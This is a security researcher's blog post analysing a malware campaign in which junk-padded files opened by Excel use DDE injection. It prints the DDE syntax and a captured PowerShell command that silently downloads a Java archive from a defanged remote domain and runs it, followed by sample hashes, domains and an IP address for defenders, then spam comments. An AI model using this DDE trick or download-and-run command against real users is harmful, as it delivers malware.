More Excel DDE Code Injection
The “DDE code injection” technique is not brand new. DDE stands for “Dynamic Data Exchange”[1]. It has already been discussed by many security researchers[2]. Just a quick reminder for those who missed it. In Excel, it is possible to trigger the execution of an external command by using the following syntax:
=cmd|’arguments’!cell
If some malicious Excel files were spotted recently, I found yesterday a bunch of files all related to the same campaign. The interesting fact is that all those files have a VT score of 0! Indeed, they contain a lot of junk strings and, in the middle of them, a DDE injection:
$ head -10 24711ad4f13bde4451ebac2a2f2a5c7406f048f6b56dc1ec868d7f2da5cc8c98.vir lljecTcCsRfkqsBfL2ud7yg1Eeeb KZiUlYv8rqf52TeMTPvmoOPxhmFYrInZMo897D tWgf38B1VjbL2Rp4LXyCuaDbcAk9wuSuA3PLjDmXSmIaTb6ZxEcswmHSTRXo6Fl54NRVLl7onJMgJOnxGWXayUq GgHUNdPiWdihpKxfhuQJetYn2CpxVWUzIQZwONaVYOwQ1pvP RsrzZKKq1GjBhFzkzXQhs9i3A5Jvb46HdNyEqpMVJtlljecTcCsRfkqsBfL2ud7yg1EeebNrKZi Yv8rqf52TeMTPvmoOPxhmFYrInZMo897DtjtWgf38B1VjbL
By default, Excel will consider any file not recognized as a valid sheet as CSV and will open it as is.
Here is the command executed:
powershell -executionpolicy bypass -W Hidden -command "& { (new-object System.Net.WebClient).DownloadFile(\"hxxp://topehagepa[.]online\" ,\" %temp%\\WJJWBHVFUG.jar\") }" & %temp%\\WJJWBHVFUG.jar’
I'm using a YARA rule to catch them on VirusTotal and I already found some samples and related domain names.
SHA256 of samples:
002055c485975c5e66f0aa1f30eb9b96bc748285ced1147e7956577cf76180e2 ccc6bc1f52c0caa94626fc1616afcf8ebdc49a03a3dfa280c4395eeb75af144f 9d3b99b0fa2301d36bce4ae14c3df91813ed6583dd0ff7a312a66551771729a3 b8e494d1ca0ecaa36c2c7560dcc6124356aa333bb7db1416c79c1f0081ffc04f 24711ad4f13bde4451ebac2a2f2a5c7406f048f6b56dc1ec868d7f2da5cc8c98 2a0fba56858872b12d58c7d388f641e7f526ef8de814626005b209682c185a99 71ad0ea269cbcf7b170adecbc151286b69fc912b4babd08e87bd38269e21e5a4 ac411a12ab007383829aa30b2584d5865b5762455a952c405495809f78fb084e 90e26612d53425752261a88b21907e29a29ed8bb51847e4bd4cad2b2e399ba50 4eabaac1d528ab5143b3564138c0b5af41dee765a883140bc4797c2f635500a2 9b3064a08ad6729c5280941467de799886e92268a83be2407748bd38338ccb38 1987505b9b7ba75b0972b4152650ca8503de1a2d964df5dc33ec8aa10f71be59 61a9a14f8b50cbc38082ee5068608be7399a14ba84e79d536aec6fdeef54a9b4 7305236f00e95f64282309af810a7ec9a331cb07f5d708e3bf57c15b24e59a37 7d70ba42d1e5f6cdacaaccf11a8fc3166db9d846f1999673aff339163775d673 557c1e7a180708f45e8419a9439568872cacf20399f56345bbe33436b25f6e22
Domain names:
cafogekago[.]online yepeyowora[.]online jekarebege[.]online gelovosaja[.]club topehagepa[.]online nomawesefa[.]club saboverome[.]online vazawoweso[.]online
All the domains resolve to the same IP address: 54.36.212.133 (located at OVH in France) but the server is down at the moment. The downloaded file being a Java archive, there are chances that it's a classic Trojan. Anybody successfully got access to this files? I'd be happy to have a look at it.
[1] https://docs.microsoft.com/en-us/windows/desktop/dataxchg/dynamic-data-exchange
[2] https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
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<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
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Anonymous
Dec 26th 2022
9 months ago
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Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
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https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
8 months ago